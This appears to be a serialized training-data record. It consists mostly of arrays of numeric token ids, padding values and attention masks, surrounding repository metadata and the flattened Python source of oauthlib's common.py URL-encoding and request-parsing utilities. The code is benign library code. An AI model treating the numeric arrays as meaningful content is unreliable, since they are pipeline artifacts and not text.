32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 984, 199, 646, 1625, 199, 199, 4521, 18, 275, 984, 14, 1023, 63, 815, 59, 16, 61, 508, 499, 199, 199, 63, 5582, 275, 2400, 671, 26, 671, 421, 199, 692, 440, 7843, 18, 26, 272, 1318, 63, 466, 275, 620, 272, 1059, 63, 1313, 275, 334, 495, 4258, 272, 3000, 63, 1313, 275, 334, 442, 12, 776, 272, 17742, 275, 8678, 339, 1318, 63, 475, 63, 6106, 275, 2400, 308, 12, 12011, 26, 308, 339, 25706, 275, 2400, 366, 26, 2740, 8, 68, 14, 1612, 1012, 272, 24451, 275, 2400, 366, 26, 2740, 8, 68, 14, 1459, 1012, 272, 10849, 275, 2400, 366, 26, 2740, 8, 68, 14, 1744, 1012, 339, 687, 5890, 492, 5228, 12, 11808, 272, 492, 5927, 339, 28697, 275, 3482, 272, 23646, 275, 2341, 272, 1425, 63, 466, 275, 1425, 339, 10467, 275, 2400, 282, 12, 330, 26, 334, 65, 690, 330, 9, 446, 334, 65, 665, 330, 9, 339, 1625, 63, 32557, 275, 1625, 14, 1144, 14, 32557, 199, 199, 2836, 26, 272, 1318, 63, 466, 275, 2649, 272, 1059, 63, 1313, 275, 334, 495, 12, 2649, 9, 272, 3000, 63, 1313, 275, 334, 442, 12, 1846, 9, 339, 1318, 63, 475, 63, 6106, 275, 2400, 308, 12, 12011, 26, 308, 14, 2143, 8, 10945, 9, 272, 17742, 275, 17742, 339, 25706, 275, 2400, 366, 26, 366, 14, 16007, 342, 272, 24451, 275, 2400, 366, 26, 366, 14, 13012, 342, 272, 10849, 275, 2400, 366, 26, 366, 14, 4611, 342, 339, 687, 15073, 492, 5228, 465, 11808, 272, 687, 5228, 492, 5228, 272, 492, 17572, 465, 5927, 339, 687, 7975, 492, 23646, 272, 687, 7975, 492, 28697, 272, 1425, 63, 466, 275, 4945, 339, 10467, 275, 10467, 339, 1625, 63, 32557, 275, 1625, 14, 1144, 14, 14028, 421, 199, 1955, 63, 1313, 275, 3000, 63, 1313, 435, 334, 1609, 4258, 421, 199, 3, 199, 3, 9336, 2018, 650, 14, 19, 12, 282, 7377, 6107, 4514, 365, 2575, 5120, 315, 314, 199, 3, 4465, 3555, 14, 221, 6630, 675, 286, 6355, 1380, 2808, 199, 3, 199, 692, 984, 14, 1023, 63, 815, 1491, 18, 61, 2356, 334, 19, 12, 650, 304, 272, 492, 6107, 199, 2836, 26, 272, 862, 26, 267, 492, 286, 6355, 465, 6107, 272, 871, 3545, 26, 267, 492, 6107, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
serensoner/CouchPotatoServer
libs/oauthlib/common.py
112
4551
# -*- coding: utf-8 -*- from __future__ import absolute_import """ oauthlib.common ~~~~~~~~~~~~~~ This module provides data structures and utilities common to all implementations of OAuth. """ import re import urllib import urlparse always_safe = (u'ABCDEFGHIJKLMNOPQRSTUVWXYZ' u'abcdefghijklmnopqrstuvwxyz' u'0123456789' u'_.-') def quote(s, safe=u'/'): encoded = s.encode("utf-8") quoted = urllib.quote(encoded, safe) return quoted.decode("utf-8") def unquote(s): encoded = s.encode("utf-8") unquoted = urllib.unquote(encoded) return unquoted.decode("utf-8") def urlencode(params): utf8_params = encode_params_utf8(params) urlencoded = urllib.urlencode(utf8_params) return urlencoded.decode("utf-8") def encode_params_utf8(params): """Ensures that all parameters in a list of 2-element tuples are encoded to bytestrings using UTF-8 """ encoded = [] for k, v in params: encoded.append(( k.encode('utf-8') if isinstance(k, unicode) else k, v.encode('utf-8') if isinstance(v, unicode) else v)) return encoded def decode_params_utf8(params): """Ensures that all parameters in a list of 2-element tuples are decoded to unicode using UTF-8. """ decoded = [] for k, v in params: decoded.append(( k.decode('utf-8') if isinstance(k, str) else k, v.decode('utf-8') if isinstance(v, str) else v)) return decoded urlencoded = set(always_safe) | set(u'=&;%+~') def urldecode(query): """Decode a query string in x-www-form-urlencoded format into a sequence of two-element tuples. Unlike urlparse.parse_qsl(..., strict_parsing=True) urldecode will enforce correct formatting of the query string by validation. If validation fails a ValueError will be raised. urllib.parse_qsl will only raise errors if any of name-value pairs omits the equals sign. """ # Check if query contains invalid characters if query and not set(query) <= urlencoded: raise ValueError('Invalid characters in query string.') # Check for correctly hex encoded values using a regular expression # All encoded values begin with % followed by two hex characters # correct = %00, %A0, %0A, %FF # invalid = %G0, %5H, %PO invalid_hex = u'%[^0-9A-Fa-f]|%[0-9A-Fa-f][^0-9A-Fa-f]' if len(re.findall(invalid_hex, query)): raise ValueError('Invalid hex encoding in query string.') query = query.decode('utf-8') if isinstance(query, str) else query # We want to allow queries such as "c2" whereas urlparse.parse_qsl # with the strict_parsing flag will not. params = urlparse.parse_qsl(query, keep_blank_values=True) # unicode all the things return decode_params_utf8(params) def extract_params(raw): """Extract parameters and return them as a list of 2-tuples. Will successfully extract parameters from urlencoded query strings, dicts, or lists of 2-tuples. Empty strings/dicts/lists will return an empty list of parameters. Any other input will result in a return value of None. """ if isinstance(raw, basestring): try: params = urldecode(raw) except ValueError: params = None elif hasattr(raw, '__iter__'): try: dict(raw) except ValueError: params = None except TypeError: params = None else: params = list(raw.items() if isinstance(raw, dict) else raw) params = decode_params_utf8(params) else: params = None return params class Request(object): """A malleable representation of a signable HTTP request. Body argument may contain any data, but parameters will only be decoded if they are one of: * urlencoded query string * dict * list of 2-tuples Anything else will be treated as raw body data to be passed through unmolested. """ def __init__(self, uri, http_method=u'GET', body=None, headers=None): self.uri = uri self.http_method = http_method self.headers = headers or {} self.body = body self.decoded_body = extract_params(body) self.oauth_params = [] @property def uri_query(self): return urlparse.urlparse(self.uri).query @property def uri_query_params(self): return urlparse.parse_qsl(self.uri_query, keep_blank_values=True, strict_parsing=True)
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 624, 199, 6126, 773, 14, 2330, 199, 22935, 1714, 199, 199, 2765, 859, 6571, 666, 13955, 436, 15841, 2863, 199, 475, 1006, 12591, 402, 11715, 14, 199, 624, 199, 199, 646, 295, 199, 646, 4011, 199, 646, 7097, 421, 199, 9223, 63, 3489, 275, 334, 85, 7, 28114, 7, 2049, 399, 7, 23459, 7, 2049, 399, 7, 11371, 7, 399, 7, 3754, 25815, 421, 199, 318, 6313, 8, 83, 12, 5048, 29, 85, 9807, 735, 272, 5737, 275, 308, 14, 2143, 480, 1624, 13, 24, 531, 272, 10999, 275, 4011, 14, 3513, 8, 8167, 12, 5048, 9, 272, 372, 10999, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 14342, 8, 83, 304, 272, 5737, 275, 308, 14, 2143, 480, 1624, 13, 24, 531, 272, 31791, 275, 4011, 14, 12240, 8, 8167, 9, 272, 372, 31791, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 16511, 8, 1162, 304, 272, 2774, 24, 63, 1162, 275, 3752, 63, 1162, 63, 1624, 24, 8, 1162, 9, 272, 16511, 68, 275, 4011, 14, 10738, 8, 1624, 24, 63, 1162, 9, 272, 372, 16511, 68, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 3752, 63, 1162, 63, 1624, 24, 8, 1162, 304, 272, 408, 37, 561, 1482, 626, 1006, 2633, 315, 282, 769, 402, 499, 13, 2108, 6346, 787, 5737, 370, 272, 18792, 25182, 1808, 9094, 13, 24, 272, 408, 272, 5737, 275, 942, 272, 367, 1022, 12, 373, 315, 1862, 26, 267, 5737, 14, 740, 1332, 288, 1022, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 2649, 9, 587, 1022, 12, 288, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 2649, 9, 587, 373, 430, 272, 372, 5737, 421, 199, 318, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 304, 272, 408, 37, 561, 1482, 626, 1006, 2633, 315, 282, 769, 402, 499, 13, 2108, 6346, 787, 11203, 370, 272, 2649, 1808, 9094, 13, 24, 14, 272, 408, 272, 11203, 275, 942, 272, 367, 1022, 12, 373, 315, 1862, 26, 267, 11203, 14, 740, 1332, 288, 1022, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 620, 9, 587, 1022, 12, 288, 373, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 272, 372, 11203, 421, 199, 21886, 275, 663, 8, 9223, 63, 3489, 9, 1204, 663, 8, 85, 7, 19167, 27, 5, 11, 94, 358, 421, 199, 318, 1166, 2708, 8, 1131, 304, 272, 408, 9400, 282, 1827, 1059, 315, 671, 13, 1544, 13, 964, 13, 21886, 1475, 1901, 282, 3414, 272, 402, 2877, 13, 2108, 6346, 14, 339, 25059, 7097, 14, 1122, 63, 26714, 8, 11577, 7478, 63, 11059, 29, 549, 9, 1166, 2708, 911, 15814, 272, 3211, 10803, 402, 314, 1827, 1059, 701, 6411, 14, 982, 6411, 6918, 272, 282, 1722, 911, 506, 4915, 14, 4011, 14, 1122, 63, 26714, 911, 1454, 746, 2552, 340, 272, 1263, 402, 536, 13, 585, 6342, 19413, 83, 314, 18527, 2070, 14, 272, 408, 272, 327, 2670, 340, 1827, 3509, 3866, 4110, 272, 340, 1827, 436, 440, 663, 8, 1131, 9, 2695, 16511, 68, 26, 267, 746, 1722, 360, 3364, 4110, 315, 1827, 1059, 2659, 339, 327, 2670, 367, 6657, 6318, 5737, 1338, 1808, 282, 5578, 3965, 272, 327, 2900, 5737, 1338, 5386, 543, 450, 9437, 701, 2877, 6318, 4110, 272, 327, 3211, 275, 450, 383, 12, 450, 33, 16, 12, 450, 16, 33, 12, 450, 1665, 272, 327, 3866, 275, 450, 39, 16, 12, 450, 21, 40, 12, 450, 1512, 272, 3866, 63, 4097, 275, 399, 5956, 4735, 16, 13, 25, 33, 13, 1906, 13, 70, 11752, 5, 59, 16, 13, 25, 33, 13, 1906, 13, 70, 1527, 62, 16, 13, 25, 33, 13, 1906, 13, 70, 6616, 272, 340, 822, 8, 264, 14, 6452, 8, 3197, 63, 4097, 12, 1827, 2298, 267, 746, 1722, 360, 3364, 6318, 2644, 315, 1827, 1059, 2659, 339, 1827, 275, 1827, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 1131, 12, 620, 9, 587, 1827, 272, 327, 2136, 2934, 370, 2040, 9212, 4066, 465, 298, 67, 18, 2, 29781, 7097, 14, 1122, 63, 26714, 272, 327, 543, 314, 7478, 63, 11059, 3305, 911, 440, 14, 272, 1862, 275, 7097, 14, 1122, 63, 26714, 8, 1131, 12, 4215, 63, 2500, 63, 1459, 29, 549, 9, 339, 327, 2649, 1006, 314, 7645, 272, 372, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 9, 421, 199, 318, 5536, 63, 1162, 8, 1773, 304, 272, 408, 12147, 2633, 436, 372, 3062, 465, 282, 769, 402, 499, 13, 11760, 14, 339, 12823, 8792, 5536, 2633, 687, 16511, 68, 1827, 3326, 12, 272, 10809, 12, 503, 5548, 402, 499, 13, 11760, 14, 9630, 3326, 15, 7892, 15, 6717, 911, 372, 376, 272, 2701, 769, 402, 2633, 14, 6184, 1163, 1324, 911, 754, 315, 282, 372, 272, 574, 402, 488, 14, 272, 408, 272, 340, 1228, 8, 1773, 12, 7116, 304, 267, 862, 26, 288, 1862, 275, 1166, 2708, 8, 1773, 9, 267, 871, 1722, 26, 288, 1862, 275, 488, 272, 916, 2688, 8, 1773, 12, 2560, 1661, 12168, 267, 862, 26, 288, 1211, 8, 1773, 9, 267, 871, 1722, 26, 288, 1862, 275, 488, 267, 871, 3146, 26, 288, 1862, 275, 488, 267, 587, 26, 288, 1862, 275, 769, 8, 1773, 14, 1744, 342, 340, 1228, 8, 1773, 12, 1211, 9, 587, 3066, 9, 288, 1862, 275, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 9, 272, 587, 26, 267, 1862, 275, 488, 339, 372, 1862, 421, 199, 533, 4784, 8, 785, 304, 272, 408, 33, 333, 4598, 461, 6025, 402, 282, 2070, 461, 3101, 1056, 14, 339, 29665, 1423, 1443, 1395, 1263, 666, 12, 1325, 2633, 911, 1454, 506, 11203, 340, 272, 2985, 787, 1373, 402, 26, 339, 627, 16511, 68, 1827, 1059, 272, 627, 1211, 272, 627, 769, 402, 499, 13, 11760, 339, 6184, 2127, 587, 911, 506, 10184, 465, 3066, 2396, 666, 370, 506, 3032, 4012, 272, 625, 573, 2978, 471, 14, 272, 408, 339, 347, 636, 826, 721 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 624, 199, 6126, 773, 14, 2330, 199, 22935, 1714, 199, 199, 2765, 859, 6571, 666, 13955, 436, 15841, 2863, 199, 475, 1006, 12591, 402, 11715, 14, 199, 624, 199, 199, 646, 295, 199, 646, 4011, 199, 646, 7097, 421, 199, 9223, 63, 3489, 275, 334, 85, 7, 28114, 7, 2049, 399, 7, 23459, 7, 2049, 399, 7, 11371, 7, 399, 7, 3754, 25815, 421, 199, 318, 6313, 8, 83, 12, 5048, 29, 85, 9807, 735, 272, 5737, 275, 308, 14, 2143, 480, 1624, 13, 24, 531, 272, 10999, 275, 4011, 14, 3513, 8, 8167, 12, 5048, 9, 272, 372, 10999, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 14342, 8, 83, 304, 272, 5737, 275, 308, 14, 2143, 480, 1624, 13, 24, 531, 272, 31791, 275, 4011, 14, 12240, 8, 8167, 9, 272, 372, 31791, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 16511, 8, 1162, 304, 272, 2774, 24, 63, 1162, 275, 3752, 63, 1162, 63, 1624, 24, 8, 1162, 9, 272, 16511, 68, 275, 4011, 14, 10738, 8, 1624, 24, 63, 1162, 9, 272, 372, 16511, 68, 14, 2708, 480, 1624, 13, 24, 531, 421, 199, 318, 3752, 63, 1162, 63, 1624, 24, 8, 1162, 304, 272, 408, 37, 561, 1482, 626, 1006, 2633, 315, 282, 769, 402, 499, 13, 2108, 6346, 787, 5737, 370, 272, 18792, 25182, 1808, 9094, 13, 24, 272, 408, 272, 5737, 275, 942, 272, 367, 1022, 12, 373, 315, 1862, 26, 267, 5737, 14, 740, 1332, 288, 1022, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 2649, 9, 587, 1022, 12, 288, 373, 14, 2143, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 2649, 9, 587, 373, 430, 272, 372, 5737, 421, 199, 318, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 304, 272, 408, 37, 561, 1482, 626, 1006, 2633, 315, 282, 769, 402, 499, 13, 2108, 6346, 787, 11203, 370, 272, 2649, 1808, 9094, 13, 24, 14, 272, 408, 272, 11203, 275, 942, 272, 367, 1022, 12, 373, 315, 1862, 26, 267, 11203, 14, 740, 1332, 288, 1022, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 75, 12, 620, 9, 587, 1022, 12, 288, 373, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 86, 12, 620, 9, 587, 373, 430, 272, 372, 11203, 421, 199, 21886, 275, 663, 8, 9223, 63, 3489, 9, 1204, 663, 8, 85, 7, 19167, 27, 5, 11, 94, 358, 421, 199, 318, 1166, 2708, 8, 1131, 304, 272, 408, 9400, 282, 1827, 1059, 315, 671, 13, 1544, 13, 964, 13, 21886, 1475, 1901, 282, 3414, 272, 402, 2877, 13, 2108, 6346, 14, 339, 25059, 7097, 14, 1122, 63, 26714, 8, 11577, 7478, 63, 11059, 29, 549, 9, 1166, 2708, 911, 15814, 272, 3211, 10803, 402, 314, 1827, 1059, 701, 6411, 14, 982, 6411, 6918, 272, 282, 1722, 911, 506, 4915, 14, 4011, 14, 1122, 63, 26714, 911, 1454, 746, 2552, 340, 272, 1263, 402, 536, 13, 585, 6342, 19413, 83, 314, 18527, 2070, 14, 272, 408, 272, 327, 2670, 340, 1827, 3509, 3866, 4110, 272, 340, 1827, 436, 440, 663, 8, 1131, 9, 2695, 16511, 68, 26, 267, 746, 1722, 360, 3364, 4110, 315, 1827, 1059, 2659, 339, 327, 2670, 367, 6657, 6318, 5737, 1338, 1808, 282, 5578, 3965, 272, 327, 2900, 5737, 1338, 5386, 543, 450, 9437, 701, 2877, 6318, 4110, 272, 327, 3211, 275, 450, 383, 12, 450, 33, 16, 12, 450, 16, 33, 12, 450, 1665, 272, 327, 3866, 275, 450, 39, 16, 12, 450, 21, 40, 12, 450, 1512, 272, 3866, 63, 4097, 275, 399, 5956, 4735, 16, 13, 25, 33, 13, 1906, 13, 70, 11752, 5, 59, 16, 13, 25, 33, 13, 1906, 13, 70, 1527, 62, 16, 13, 25, 33, 13, 1906, 13, 70, 6616, 272, 340, 822, 8, 264, 14, 6452, 8, 3197, 63, 4097, 12, 1827, 2298, 267, 746, 1722, 360, 3364, 6318, 2644, 315, 1827, 1059, 2659, 339, 1827, 275, 1827, 14, 2708, 360, 1624, 13, 24, 358, 340, 1228, 8, 1131, 12, 620, 9, 587, 1827, 272, 327, 2136, 2934, 370, 2040, 9212, 4066, 465, 298, 67, 18, 2, 29781, 7097, 14, 1122, 63, 26714, 272, 327, 543, 314, 7478, 63, 11059, 3305, 911, 440, 14, 272, 1862, 275, 7097, 14, 1122, 63, 26714, 8, 1131, 12, 4215, 63, 2500, 63, 1459, 29, 549, 9, 339, 327, 2649, 1006, 314, 7645, 272, 372, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 9, 421, 199, 318, 5536, 63, 1162, 8, 1773, 304, 272, 408, 12147, 2633, 436, 372, 3062, 465, 282, 769, 402, 499, 13, 11760, 14, 339, 12823, 8792, 5536, 2633, 687, 16511, 68, 1827, 3326, 12, 272, 10809, 12, 503, 5548, 402, 499, 13, 11760, 14, 9630, 3326, 15, 7892, 15, 6717, 911, 372, 376, 272, 2701, 769, 402, 2633, 14, 6184, 1163, 1324, 911, 754, 315, 282, 372, 272, 574, 402, 488, 14, 272, 408, 272, 340, 1228, 8, 1773, 12, 7116, 304, 267, 862, 26, 288, 1862, 275, 1166, 2708, 8, 1773, 9, 267, 871, 1722, 26, 288, 1862, 275, 488, 272, 916, 2688, 8, 1773, 12, 2560, 1661, 12168, 267, 862, 26, 288, 1211, 8, 1773, 9, 267, 871, 1722, 26, 288, 1862, 275, 488, 267, 871, 3146, 26, 288, 1862, 275, 488, 267, 587, 26, 288, 1862, 275, 769, 8, 1773, 14, 1744, 342, 340, 1228, 8, 1773, 12, 1211, 9, 587, 3066, 9, 288, 1862, 275, 4849, 63, 1162, 63, 1624, 24, 8, 1162, 9, 272, 587, 26, 267, 1862, 275, 488, 339, 372, 1862, 421, 199, 533, 4784, 8, 785, 304, 272, 408, 33, 333, 4598, 461, 6025, 402, 282, 2070, 461, 3101, 1056, 14, 339, 29665, 1423, 1443, 1395, 1263, 666, 12, 1325, 2633, 911, 1454, 506, 11203, 340, 272, 2985, 787, 1373, 402, 26, 339, 627, 16511, 68, 1827, 1059, 272, 627, 1211, 272, 627, 769, 402, 499, 13, 11760, 339, 6184, 2127, 587, 911, 506, 10184, 465, 3066, 2396, 666, 370, 506, 3032, 4012, 272, 625, 573, 2978, 471, 14, 272, 408, 339, 347, 636, 826, 721, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
joeyoung658/A-Level_2016-18
